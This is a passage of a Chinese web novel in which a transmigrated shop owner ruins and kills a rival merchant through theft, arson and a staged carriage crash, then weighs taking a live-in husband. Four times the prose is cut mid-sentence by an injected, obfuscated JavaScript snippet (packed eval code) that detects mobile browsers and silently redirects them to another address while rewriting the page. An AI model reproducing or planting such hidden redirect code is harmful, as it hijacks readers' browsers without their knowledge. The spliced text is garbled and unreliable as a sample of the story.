庞掌柜满意的摸了摸胡须,对小厮道:“我就知道你小子最机灵,快去吧,莫耽误了时机。” “得嘞!”小厮一溜烟跑出门去,先回了家,乔装打扮一番,随后牵了头毛驴,朝乡下走去。 …… 竹音对同行有可能使出的手段都多有防范。 例如,云如雪经常戴簪竹记的发饰,每每有了新品,都由她第一个戴着亮相,属于妥妥的明星代言了。 在这小小的清栀镇,云如雪的贵女身份绝对无人能及,她已经代表了流行的风向标。 当然,她愿意为簪竹记代言,一则是簪竹记的新品确实好看,可以让她出风头,二则簪竹记赚了钱能给她分成,养肥她的小金库,所以她才玩的这么起劲。 竹音很清楚,对这样的高门贵女来说,给她的铺子当靠山,就是闲来无事为了“玩”。 人家跟她可没有什么情分,能不能混到情分,要全凭她的本事。 什么本事?当然是做大做强的本事。 只有簪竹记发展的足够快,赚的钱足够多,影响力足够大,云如雪才会重视她的生意,然后彻底和她绑在同一条船上,主动为她保驾护航。 为了快速把簪竹记这个品牌做起来,竹音无所不用其极,但凡是能想到的招数,全都用上了。 例如搞粉圈经济,做品牌效应,用云如雪高贵的身份为发簪站台,让姑娘们以有一只她家的簪花为荣。 还专门给清栀镇最大的书院送了一批学子簪花,增加商品的格调,让它染上才子的气息,增加才子佳人的噱头。 店内的货物分高中低端,让每个进来买东西的人都不至于空手而归,笼括全市场行情。 生意走红后,市面上不免出现了各种各样的仿款和改款,竹音在打击盗版上下了很多功夫。 她专门设置防伪码,每支簪子都有自己的标号。 还学着后世的粉圈经济,搞出了原创鄙视链,要么不戴,要么戴正版,戴盗版的最没面子,从心理上让顾客膈应仿款,同时提高了正版的地位,让佩戴正版的顾客有了炫耀的谈资。 当然,做生意也不是光有靠山就行,有些人情世故是必须靠自己去解决的。 竹音主动花钱打点了清栀镇上的小官小吏和地头蛇,借母父之前的人脉,花钱为自己行方便,甚至还加入了商会。 商会是最有用的一项,让她认识了不少人,其中几位女掌柜和她十分投缘,几次接触下来,就成了可以一起商谈议事的好友。 对于庞掌柜,竹音是一直盯着他的动向的。 只是没想到他出的招这么脏,居然去乡下找了竹家的远房亲戚过来,借着她母父双亡的借口,想来吃绝户。 簪竹记门口,竹音看着四五个根本叫不上号来的竹家亲戚,一起对她进行道德绑架,冷笑一声,直接叉腰开骂: “我母父死的时候没见你们来吊唁,我穷困潦倒的时候也没见你们任何一个人来看我,等我把最艰难的日子度过去了,你们想来摘果子了?天下哪有这样的好事?” 说起来,因为自从穿越后就没见过竹家的亲戚,她都以为这群人死绝了,所以住在乡下破屋那么久,都没人来看她。 结果这群人还活的好好的啊。 真是晦气! 竹家的远方亲戚们不知道得了庞掌柜什么许诺,一个个假装的人模狗样,故意在人前流下虚伪的眼泪:“竹音啊,你这是在怪我们吗?之前我们没来,是我们的错,但我们现在不是来了吗? 你一个孤女,身后没有点倚仗,哪里撑的起这么大的银楼?姑娘家家的,那么拼做什么?让我们帮着你不是更好吗? 你一个女人,家业打的再大,没男人也守不住啊!是不是?听伯父一句劝,你啊,就把这银楼交给你大哥,然后每个月在家里拿分红就好了,这样多享福啊!” 竹音已经很久没见过如此厚颜无耻之人了。 她对陆珺使了个眼色。 陆珺会意,绕到人群中,隐匿身形,然后右手一翻,几粒小石子飞出去,狠狠打在那几个泼皮无赖的后膝弯处。 几人猝不及防遭受到攻击,哀嚎一声,齐齐跪了下去! “哎呦,哪个龟孙打我?” “谁袭击我?” “该死的,谁干的?有种出来!” 陆珺早已混入人群中,深藏功与名。 竹音看着一排人整整齐齐跪在自己面前,抱着胳膊,慢悠悠的说:“许是我母父在天之灵看不得你们欺负他们的遗孤,不然怎么会让你们一起跪下?哼!今晚他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142136|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们肯定会给你们托梦的,且等着吧,你们一个都别想有好报!” 五个亲戚还想歪缠,应春儿已经叫了巡街的官兵过来,因为竹音打点过他们,所以这些官兵也乐意为她赶人:“大街上的,吵吵什么?还让不让人做生意了?有什么冤情,跟我们到衙门里面去说!” 地上五人一听要进衙门,立刻连滚带爬跑了,官兵过来时,就捡到了一只蹬飞的布鞋。 几个官兵用剑挑着那只布鞋来找竹音要赏钱,竹音热情的撒了银子出去,维护住了这层关系,转头进了店门,脸色便黑了下来。 狗爹养的庞掌柜,她还没弄他,他就敢来这么恶心自己是吧? 竹音让其她人继续干活,自己回内院换了身衣服,带上陆珺便要出门,准备直接去找庞掌柜的麻烦。 恰逢此时,玄烬赶着马车回来,车厢里放的全是刚刚进回来的货。 他回来的路上已经听说了刚才的闹剧,现在面沉如水,直到看见竹音没事,心才放下来。 他把货单交给陆珺,见陆珺出去安置马车,便走上前,低声在竹音耳边道:“我替你杀了他们。” 竹音:“……” 她就知道,这家伙脑回路永远是这样。 竹音皱起眉,不轻不重的拍他一下:“我跟你说的话,你全忘了?这些人我自己就能解决,哪里值得你动手。” 玄烬想到那些人大庭广众的欺负竹音就火大,心里憋着一口气,偏偏还不能发泄,最后只能委委屈屈的说一句:“都怪我,回来晚了。” 竹音退后一步,和他拉开一点距离:“陆珺与我寸步不离,你不回来我也不会有事。” “她功夫没我好,应该由我保护你。”玄烬盯着她的眼睛,一本正经的说道。 他曾和陆珺比试过武功,陆珺学的都是正派招数,和他学的阴毒杀招自然不能比,不过两人交流间,倒也能查漏补缺,互相增益。 竹音忽然笑出声,眼神中带着点玩味:“保护我?你还真准备在我这干一辈子啊。” 玄烬沉默不语,只一双眼睛格外认真的看着她。 竹音挑眉:“你不是还有个小金库吗?不准备回去拿了?还有你这一身本事,不准备找个地方施展抱负?” 玄烬抿了抿嘴,低下头,半晌后瓮声瓮气的说:“要回去拿钱,但别的没想好,你不会嫌我麻烦,是想赶我走吧?” 竹音还没说什么,就见玄烬又抬起头,居然眼圈都红了。 他用有些发颤的声音说:“我听你的话,你别赶我走好不好?” 竹音有些忧愁,看起来很大一只的男人,怎么跟条萨摩耶似的,徒有其表,内心脆弱。 她无奈的看着玄烬,说道:“我没赶你走的意思,我的意思是说,你这样有本事,在我这实在是纡尊降贵了,这对你的实力是一种浪费……当然,或许你现在还没想走,但假如你哪天想走了,和我说一声就行。” “我不会走的!”玄烬上前一步,急切的说。 他喜欢这里的一切,他怎么舍得走? 20. 第20章 报复仇家 “好吧好吧,我知道了。”迫不得已,竹音只能摸摸他的头,安慰他。 对于这个穿越后两次给她送钱的人,她还是很有包容心态的。 没有玄烬带来的钱,她也不能这么快东山再起。 玄烬听她这样讲,心里略略放松。 正当他想要再说点什么的时候,应春儿忽然从前院跑过来,招呼竹音:“姑娘,有个姓庞的掌柜找你。” 竹音眼神一凛,立刻走了出去。 自己还没去找他呢,他就主动送上门来了,那当然得会一会! 庞掌柜是个脑满肠肥的胖子,四十多岁,一脸横肉,偏偏还要装出个和蔼可亲的样子,看起来虚伪极了。 竹音进屋时,他正背着手,欣赏待客室里的一桌盆景松柏。 这个盆景是缠花做的,上面的每一片叶子,制作时都要耗费不少时长,但因为其造型多变,又能四季常青,是最近清栀镇富贵人家里很流行的新鲜事物。 见竹音进来,庞掌柜立刻换上一副长者姿态,怜爱的对她说道:“竹音呀,多日不见,你可还好啊?” 竹音看他一眼,没接话茬,直接在主位上坐下:“庞掌柜今日来,所为何事?” 庞掌柜见她不给自己脸面,也没生气,自顾自坐到客位上,假惺惺说起她母父的事情,话里话外都在表达遗憾,实际上是在戳竹音痛脚。 要是现在在这里坐的是没被穿越的原主,被人这样冒犯,早就火冒三丈了。 不过这里做的是穿越后的竹音,她只轻飘飘看了庞掌柜一眼,语气里透着一股不怀好意,轻描淡写的说:“庞掌柜这样关心我家的事,晚上做梦,是否梦见我的母父了呢?我可梦见不少回我母父说起你呢!” 庞掌柜本来专门来刺激竹音的心态一下子没绷住,面上带出几分惊惶来:“说我什么?” 竹音端起桌上的茶喝了一口,眼神幽幽的看着他:“我没太听清楚,只是很奇怪,我母父为什么会一直念着抢走我家银楼的人呢?难不成这里面还有什么隐情,不知庞掌柜是否能给我解惑?” “我、我怎么知道呢?”对上竹音咄咄逼人的眼神,一滴冷汗从庞掌柜的额头滴落。 托梦这事是他完全没想到的,他心里大急,以为竹音知道了真相,顿时面如土色,心中惴惴不安,连忙找了个借口,说忽然想起店里有事,便落荒而逃。 待到庞掌柜离开,玄烬从隔壁屋子走进来,表情有些凝重的看着竹音:“是他害了你母父吗?” 竹音挑眉,进而展眉一笑:“挺聪明嘛!我本来只是这样怀疑的。不过今天看他的反应,应该是他没跑了。” 玄烬捏了捏拳头,心里又涌起一股杀意。 都是这个人,害的竹音没了母父,在乡下吃了那么久的苦。 但有前车之鉴,他到底没再说帮竹音杀了这人的话。 竹音倒是看破了他的心思,直接说道:“我要光明正大的除掉他,拿回我母父的银楼,他若是不明不白的死了,我的银楼可就回不来了。” 玄烬沉默片刻,忽然说:“我现在伤势已经全好了,可以回去取钱,如果你想要银楼,我可以给你买回来,他死了也没事。” 竹音忍俊不禁:“你干嘛呢?这是我家的仇,你添钱进去做什么?有些仇必须自己报,懂不懂? 而且,我还是那句话,你如今既然换了身份,就别干这种危险的事,免得被人抓住马脚。 对于这个庞掌柜,我自有打算。” 竹音早就准备对庞掌柜动手了,只是想阴别人,必须一次到位,不留后患,所以才迟迟没有动静。 她沉得住气,庞掌柜反而没沉住气,所以今天才闹成这样。 玄烬问:“你有什么打算?可有我能帮忙的?” 竹音摸了摸下巴,说:“我准备让他内外院一起失火,爆他几个大瓜,让他夫人和他的合作商们,都跟他反目成仇。 本来我想多抓点他的小辫子,半个月后再做这件事的,但看庞掌柜着急的样子,我不搞他,他就得搞我,看来我得把进度提前了……” 说到这,她抬眼看了一下玄烬:“好像没什么需要你帮忙的。” 玄烬沉思片刻,试探着问:“那些人和他反目成仇后,他是不是就破产了?” 竹音理所当然的说:“对呀,要的就是这个效果。” 玄烬皱起眉:“那你不就亏了?你忙活了这么大一通,好处却全被别人拿走了。” 竹音:“啊这……有得必有失嘛。” 虽然很心痛,但这也是没办法的事情,要想把这件事过明面,她就不能是最大的既得利益者,不然就太引人注目,惹人怀疑了。 “不行!”玄烬以拳击掌,下了决定:“你何时动手?我提前把他家值钱的东西都给你搬回来,然后你再让他们内斗去。” 竹音:“……” 竹音这回真的好奇了,她问玄烬:“你以前到底是做什么的,怎么对这种事这么熟练?” 玄烬没敢回答,对于他的过往,他总是感到深深的自卑。 如果他说了,一定会被撵走的,没人会喜欢一个杀手,哪怕他并不想做杀手。 竹音见他没回答,也没有继续追问。 不过玄烬的话也给她提供了一个新思路,是呀,干嘛要把钱白白留给别人,自己拿着花不好吗? 于是,三日后,月黑风高。 玄烬悄无声息的穿梭在黑夜里,进了庞家的大门,轻而易举的找到了庞掌柜藏银票的地方,把那些银票洗劫一空。 竹音只要银票,因为银票不容易被查到根源。 但其它的宝贝其实也没逃脱玄烬的魔爪,因为他不怕被人查,他藏东西很有一手,可以等到以后去了别的地方再去换钱。 按照竹音的意思,其余的宝贝都算他跑这一趟的辛苦费,能拿多少全看他的本事。 不过玄烬自认自己没什么花钱的地方,所以藏起来也是给竹音攒着,说不定以后哪天她又想买别的银楼了呢? 钱这东西,从来没人嫌多的,哪怕是玄烬,也不能免俗。 这一晚,庞掌柜呼呼大睡,口水像往常一样顺着嘴角流到了枕头上,在他一无所觉的时刻,他的小金库里最值钱的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144019|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经全被玄烬搬走了。 等到玄烬翻墙出来,外面等着的陆珺立刻接过他手里拿着的两大包东西。 两个人一句话都没说,玄烬给陆珺使了个眼色,陆珺点点头,拿着东西就跑了。 玄烬则绕道去了庞掌柜的仓库,取出一罐火油,绕着仓库倒了一圈,然后麻利的点火,火光瞬间冲天,在打瞌睡的仓管被炙热的火焰烤醒之前,玄烬已经再度翻墙而去,举目四望,哪里还有他的身影。 竹音做事,向来遵循一个准则,以牙还牙,以眼还眼,要么不做,要么做绝。 庞掌柜被管家叫起来时,满脑子都是自家仓库着火的噩耗,根本想不到金库也被偷了。 他脑子嗡嗡作响,被仆人搀扶着,呼哧带喘的跑到了仓库外面,看着烧为黑炭的几间屋子,拍着大腿痛心疾首的大哭。 这得损失多少钱啊?这一年都白干了! 然而噩耗不止这一件,紧接着,庞掌柜的夫人就拽着他的外室打了过来:“好啊,老娘辛辛苦苦为你操持这一大家子,你居然在外头养野女人?” 庞掌柜悚然一惊,还没来得及解释,门口就又冲进来了几拨人,全是他的合作商贾。 大家看着他烧为黑炭的仓库,顿时火冒三丈:“姓庞的,亏我们还把你当兄弟,先前听闻了小道消息,还不信,结果你还真自己烧了仓库,想来赖账?” “这么多年真是错看了你,我告诉你,欠我们的钱一分都不能少!” “你得是多黑的心,敢这样坑自己家的亲戚?当初找我借钱的时候吹得天花乱坠,现在不想还钱了,就出这种损招?” 原来,竹音故意放出风去,说庞掌柜不想还钱,准备自己烧仓库,演一出苦肉计,坑自己的合作商贾。 大家本来半信半疑,毕竟是合作多年老伙计了,基本信誉还是有的。 直到今晚听到庞家仓库着火,他们才发觉自己可能真的是上当了,姓庞的老小子真的要赖账! 庞掌柜虽然是个忓商,但能把生意做起来,什么时候该讲信誉,什么时候该耍赖,还是分得很清楚的。 见老朋友们这样说,他百口莫辩之下,只好邀请他们去书房,当面结账,先稳住这群人。 然而到了厨房,他才发现天真的塌了! “我的钱呢?我的钱去哪儿了?!” 庞掌柜震怒,对着守书房的小厮疯狂咆哮。 他这样的行为,反而加深了几位债主的怀疑。 他们冷笑着说:“姓庞的,别演了!我们都知道真相了,你现在还演,有什么意思?” “既然没钱,就把你这宅子卖了还账吧!” “叫人抄家伙,什么值钱拿什么,这狗东西不做人,咱们也没必要给他脸!” 庞掌柜目眦欲裂:“不可,不可啊!我是被人给偷了,真的有人偷我的钱!” 他后知后觉的反应过来:“一定是有人做局害我,一定是有人害我,你们一定要相信我啊!” 然而根本没人相信他。 每个人都生怕自己亏本,想把自己的损失拿回来,没有一个人听他的话。 21. 第21章 庞掌柜之死 庞家的事,一夜之间,闹的满城风雨。 因为信誉崩塌,债主催债,庞掌柜的资金链直接断裂,又借不到钱来补窟窿,生意完全做不下去,迫不得已开始变卖产业。 他的五家银楼,挂出去了三家,其中一家就是曾经的簪竹记。 另一边,玄烬和陆珺早就带着战利品回了竹家。 玄烬回来后,先去找地方藏那些有可能被认出来的珠宝,陆珺见他走远,便悄声对竹音耳语道:“姑娘,我觉得玄烬以前应当是个杀手,您要小心,这个身份很麻烦。” 陆珺与玄烬之前比武时,就觉得他出手全是杀招,不似普通武林中人,已经隐隐有了猜测。 这回和他一起出去偷东西,各种细节再一比对,更是印证了她的想法。 如今竹音是她的主人,与她有扯不开的关系,所以这种事情,她必须要出言提醒。 杀手? 竹音先是一愣,继而了然,反手握住了陆珺的手,温声道:“知道了,我会注意。” 原来是杀手啊,怪不得动不动就要杀人呢。 看来她之前的猜测一点都没错,越漂亮的男人越麻烦。 只是,如今两人相处这么久,也算信得过的朋友了,她也做不出听见这话就如惊弓之鸟一般,将人撵走的行为,那就太伤别人的心了。 毕竟明眼人都看得到,玄烬给她办事,绝对是尽心尽力,毫无怨言。 算了,先在心里留个心眼,暂且就当这件事她不知道吧。 反正她之前就把他当敌国特务看,特务和杀手的危险性质,也没差多少了。 当务之急,是先去把母父的银楼抢回来! 竹音对陆珺耳语一番,吩咐了之后的行动。 陆珺不多时便出了门,直到晚上才回来,肩膀上还背着个麻袋,里面装了个五花大绑的男人。 陆珺把麻袋丢在地上,发出“咚”的一声闷响,里面的男人被摔的呜呜直叫,可惜被堵住了嘴,声音根本传不出去。 竹音连忙给陆珺端来一杯茶:“可算回来了,辛苦你了,这一趟怎么样?” 陆珺仰头喝完温度正好的茶水,一抹嘴角,得意的说:“就是他了!” 这里面装的是庞掌柜家遣散的一名小厮,此人平日里就是给庞掌柜办脏事的,有了他的供述,竹音这副身体的母父当初是怎么死的,就全真相大白了。 这事还真是庞掌柜下的手,他让人给竹家的马匹下了药,到了山崖时,药效刚好发作,发癫的马儿控制不住自己,连人带车一起掉下了悬崖。 “果然是姓庞的干的!”竹音脸色沉沉:“把这人看好了,明日带着他去找庞掌柜。” 第二日。 竹音在路上拦下了焦头烂额的庞掌柜。 他正到处找人拆借钱财,想补上窟窿。 这两天,他也复盘过是谁害的他,不过他为人阴险下作,害过的人不少,仇家自然也多,一下子还真没排查出来到底是谁在后面搞鬼。 他也怀疑过竹音,但这里的男人,天生就会蔑视女人,这样周密的局,他完全不觉得是竹音这样的黄毛丫头能想出来的,所以仅仅是在脑子里过了一瞬,就把她排除出去了。 这倒是给竹音行了方便,她打着要买回母父那间旧银楼的旗号,请庞掌柜去茶楼里喝茶。 听到竹音想把银楼买回去,庞掌柜如鲠在喉,心里极其不痛快,感觉自己白忙活一场,可他偏偏又需要这笔钱来渡过难关,只好不情不愿的跟着竹音来到茶楼包厢里坐下。 一想到这死丫头舍不得那间银楼,庞掌柜的一肚子坏水便涌了上来,想要趁机抬价,狠狠宰她一笔。 谁料谈价的话还没说两句,竹音便“嘭”的放下茶杯,拍了两下手掌。 随即,一个鼻青脸肿的男人被带了进来,那人一看见庞掌柜,便如看见了亲爹一般,哭嚎着抱住他的大腿:“掌柜的救我,掌柜的救我啊!那些事都是你吩咐我去办的,她母父也是你害死的,我不能去见官啊!” 庞掌柜面上一阵青一阵白,哪里还不明白现在发生了什么。 他看着悠闲喝茶的竹音,一脚踹上小厮的胸口:“废物!” 小厮仰面吐出一口血,被身后的陆珺拎住衣领,死鱼一样拖到了一边。 “还不快带他去找个大夫,若是不小心死在这,庞掌柜不就又多杀了一个人吗?”竹音的声音清灵好听,却宛如一条毒蛇,吐着信子钻进庞掌柜的耳朵里,让他浑身一个激灵。 “你到底想怎样?”他咬牙切齿的瞪着竹音。 “把银楼还给我,再从清栀镇滚出去。”竹音笑盈盈的看着他,语气温和平静,好像在说一件不起眼的小事。 庞掌柜气个仰倒,却也知道,那小厮在竹音手上,他根本就跑不掉,就他做的那些事,若是去了官府,抵赖一两件还可以,全部抵赖,那就是痴人说梦了。 但相同的,衙门也不会只听小厮的一面之词,如果他愿意奉献出所有家产,打点县太爷,也不是没有机会大罪变小罪,小罪变无罪的。 只是这样的话,他必然要倾家荡产,而竹音作为苦主,也不一定能拿回家里的银楼。 到了那群贪官污吏手里的东西,还想拿回去,无异于痴人说梦! 所以竹音才会私下约见,用这个小厮威胁他…… 两方视线交织,在空气中迸发出无形的电流,就看谁先忍不住后退。 竹音的笑容慢慢淡去,面无表情的看着他:“庞掌柜真的没梦见过我的母父吗?我可是天天梦见呢。” 鬼气森森的话语一出,庞掌柜吓得往后趔趄了一步,思索再三后,终于败下阵来:“我把银楼还给你!你不要再落井下石了!” 他到现在还以为竹音是在趁人之危,借着这个机会报复他。 等他揪出了幕后黑手,喘匀了这口气,必然要狠狠报复回来! 竹音拿出早就准备好的文书,让他签字画押,让银楼物归原主。 见她这副模样,显然有备而来,庞掌柜签字画押后,气愤的丢下笔,墨迹溅到桌上,他恶声恶气的拍了下桌子:“我可以走了吧?还有我那个小厮,你也得给我!” “放心,只要庞掌柜离开清栀镇,我自会放他跟着你离去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147664|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹音将文书收好,对庞掌柜露出个冷冰冰的笑容,然后在他反应过来之前,以迅雷不及掩耳之势,从身下摸出一把刀,狠狠插在他拍在桌面上的手背上。 “啊!唔……”陆珺已经在同一时刻从后面捂住了庞掌柜的嘴,将他即将出口的嚎叫全堵了回去。 手背上传来的剧痛让庞掌柜眼前发黑,疼的浑身直冒冷汗。 他的手掌整个被贯穿,钉在了桌上,鲜血顺着桌案蔓延。 竹音邪恶的声音在他前方响起:“今日就先给我的亡母亡父收点利息,希望庞掌柜遵守诺言,最好连夜从清栀镇消失呢!” 庞掌柜痛的几乎要晕过去。 他就知道,这个死丫头不会轻而易举放过他! 现在她拿回了银楼,再想去官府告他,他可就一点谈判的指望都没有了。 识时务者为俊杰! 庞掌柜眼眶发红,忍着剧痛,从牙缝里挤出几个颤抖的字:“我这就走!” …… 庞掌柜果然没失言,他找大夫简单包扎了手上的伤口,回去装了几箱值钱的物什,连夜乘坐马车离开了清栀镇。 马车行驶到竹音母父坠亡的那条山路时,山道间忽然刮起了阴风。 马儿莫名其妙的狂躁起来,那架临时找来的陈旧马车居然没能拴住暴躁的马儿,让它挣脱了缰绳不说,还拽断了身上的捆绑。 发癫的马匹抛下马车自己奔向山路,失控的马车在庞掌柜的尖叫声中落入了山崖! 等到消息传回来时,竹音已经办好了银楼的交接,将母父的银楼拿了回来。 听闻庞掌柜的死讯,她只淡淡说了一句:“既然当初我母父死,他没来吊唁,那现在他死,咱们也就不用去了。” 陆珺左看看右看看,假装此时与自己无关。 事实上,就是她给拉车的马儿下了药,又用刀把套马绳给割的将断未断,这才导致了事故的发生。 竹音向来奉行以牙还牙、以眼还眼的处事策略。 庞掌柜既然用这种方法害死原主的母父,她当然不会真的轻飘飘放过他,之前的战术,都是为了无痛拿回银楼,现在银楼回来了,庞掌柜也该去杀人偿命了。 至于为什么要让马挣脱套马绳,那当然是因为马儿无辜,没必要给这样的险恶凶手陪葬。 这件事里,唯一感到苦恼的,就只有玄烬了。 他自认由他出手的话,会办的更加漂亮,但不知为什么,竹音非要用陆珺,不用他。 竹音对玄烬的解释是,两人关系平等,不能老指挥他去办事,有仆从在身边,当然是让仆从去办事更方便。 然而内心深处,竹音只是单纯的不想将自己和他捆绑的更加紧密。 须知,这个世界上,靠山山倒,靠人人跑,玄烬是有本事的人,身份又扑朔迷离,这样的人,本身就充满了不确定性,她不能办什么事都依靠他,否则有一天他不在了,自己就会陷入困境。 所以在这种事情上,该培养心腹就培养心腹,该用自己的人就用自己的人,就算自己办的事情不能达到满分,但能把事情办成,就足够了。 22. 第22章 招赘 夺回了母父的老银楼,竹音自然要把这家店重新开起来。 于是这段时间她更忙了,装修老店铺,重新招聘伙计和簪娘,忙的团团转。 这日去商会时,一位和竹音关系不错的女掌柜似乎听到了什么风声,寻了个由头将她拉到僻静处,语重心长地压低声音说道: “妹子,姐姐说句掏心窝子的话,你别嫌不中听。 咱们大衡国虽有女户,律法上允许女子顶立门户,但你总是一个人撑着,终究不是长久之计。 你如今年纪轻轻,就掌管着两家银楼,生意做得这般红火,多少双眼睛在暗处盯着你的产业,那心思……可就不单纯了。” 她顿了顿,观察着竹音的神色,继续道:“那些人,不是图你的家产和美色,就是想方设法想要拿捏你,图你的肚子,想要吃绝户。 你若没有嫁人的打算,就听姐姐一句劝,抓紧时间,趁早物色个妥帖的赘夫上门。 只有名正言顺的成了家,尽快生下自己的继承人,把根扎稳了,才能堵住那些外人的悠悠之口,让他们少些由头来折腾。 不然,你这偌大的家业,往后的风波,只怕还多着呢。” 女掌柜言辞恳切,满是过来人的担忧。 竹音没想到,对方居然是来劝她赶紧招赘的! 她先是满心讶异,随即心头涌起一股暖意,知道女掌柜这是真为她着想,才会说这等私密的话。 她连忙正色起来,认认真真的谢过对方的好意提醒,将这事记在了心里。 只是说到招赘,一时之间又没有合适的人选,这事实在叫她头疼。 上辈子28岁她都没想过结婚,谁懂啊,来到这里居然还要考虑婚姻问题,真是一个头两个大。 这年头愿意上门当赘婿的,又能有几个好人? 但凡有点本事的男人,都不会想要上门。 想要原主父亲那样老实可靠的男人,就得接受对方家庭条件差,想要男人心甘情愿听你的话,就要接受对方没什么主见,家里家外的事情都得自己操持,别想省一点心。 说来说去,不管是物质上,还是精神上,都得扶贫。 偏偏竹音又是个不喜欢扶贫的人,这让挑选赘婿时的心理关卡都很难过。 不得已,她只能找来几个媒婆,准备广撒网,看看能不能选出来一个能看的顺眼的赘婿。 她给的核心条件就三条,既然是往家里赘人,自然要年轻漂亮,人品端正,乖巧听话。 年轻漂亮,身体好,生育能力强,看着舒心,以后生了女儿也能遗传较好的长相。 人品端正,就不用时时刻刻提防着对方想吃绝户,家里放着个蠹夫,可睡不好觉。 乖巧听话,才能让女主人轻松的维持住一家之主的地位,在家里说一不二。 总之,男人是怎么下娶的,她就怎么下赘。 媒婆们听完她的要求,心里暗自叫苦,这样的男人可不好找,但竹音给的红包丰厚,为了赚更多的钱,她们都拍着胸脯保证一定好好给她寻摸合适的人选! 媒婆上门的时候,玄烬刚好出门进货去了,等他知道这件事,已经是三日后。 一位媒婆带着三名男子来见竹音,让双方进行相看。 玄烬看着那三个弱不经风的小白脸,如遭雷击,竹姑娘要招赘,他怎么不知道? 玄烬躲在暗处,眼神如刀般射向那几人,恨不得给他们砍成碎片,搞的那几人莫名其妙,频频回头,想弄明白身后到底有谁在看他们。 好在竹音最后一个都没看上,给了红包,客客气气的让媒婆领着人走了。 等到媒婆离开后,玄烬在屋里墨迹了半天,到底没忍住,去问竹音:“你要招赘吗?” 竹音打发完人,已经重新看起了账本,见他进来问起这事,有些好笑的回道:“是呀,有什么问题吗?” “那……你想找个什么样的?”玄烬被她坦然的目光看得有些心慌,避开视线,又忍不住追问。 他想知道,自己距离那个标准,到底有多远,或者说,有没有一丝一毫的可能。 竹音把自己对媒婆说的话又跟他说了一遍:“年轻漂亮,人品端正,乖巧听话。” 玄烬听完,薄唇抿成一条直线,垂在身侧的手微微蜷起。 他在脑海里飞快地权衡着利弊,神情有几分挣扎,把竹音说的条件和自己做对比,反复斟酌了许久。 终于,他抬起眼,目光直直的看向竹音,眼神里带着一种孤注一掷的期待,和不易察觉的恳求,小心翼翼地,一字一句地问道:“那……你看,我行吗?” 话刚说出口,他的耳根已悄然红透。 “你?”竹音微睁眼睛,意外的看着他,端着茶盏的手顿在了半空。 玄烬见她没有立刻拒绝或嘲笑,眼底那点期待的火苗燃得更旺了些,甚至向前微微倾身,声音比刚才更坚定了一点,重复道:“嗯……我、我可以吗?” 像是怕她不明白,又低声补充:“我是说……赘婿。” 竹音看着他认真无比的表情,“噗嗤”一下笑出声,将茶盏放回桌上,眉眼弯弯:“玄烬,你这是在……自荐枕席?” 她用了个略带调侃的词。 玄烬听到这个词,脸上蓦地染上一片更深的绯红,连脖颈都有些泛粉,显然羞窘至极。 但他强撑着没有退却,反而迎着她带着笑意的目光,很轻但很肯定地“嗯”了一声,应道:“算、算是吧!” 仿佛用尽了勇气,说完这句话后,他几乎想立刻夺门而出,却又像脚底生根了一样,死死钉在原地,等待着她的裁决。 竹音收敛了些笑意,但眼底的玩味更深。 她放下手里的账本,坐直了身体,双手交叠放在桌上,一副要认真谈判的模样,好整以暇地看着他:“为什么呢?给我个理由。你应该知道,赘婿不是什么光鲜的身份,以你的本事,何必选这条路?” “因为,我、我喜欢你。”玄烬的脸更红了,这句话仿佛灼热烫嘴,他说得有些急促,嗓音低沉暗哑,却异常清晰。 说完,那股强烈的羞耻感和豁出去的激动感交织,让他控制不住地将头埋得低低的,视线盯着自己的鞋尖,不敢再看她此刻的表情。 竹音显然没料到会听到如此直白的答案,愣了一下,随即又“噗嗤”笑出声,摇了摇头,语气带着几分不信和看待弟弟般的宽容: “你知道什么是喜欢吗?你才见过几个女人,经历过什么事?一时的悸动或感激,可算不上喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151882|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她自觉比玄烬年纪大,又穿越而来,看他的眼光不免带了些前辈的审视,玄烬对她的感情,或许更多的来自于吊桥效应。 在生死存亡之际,人们都会不由自主的对救命恩人产生与众不同的情感。 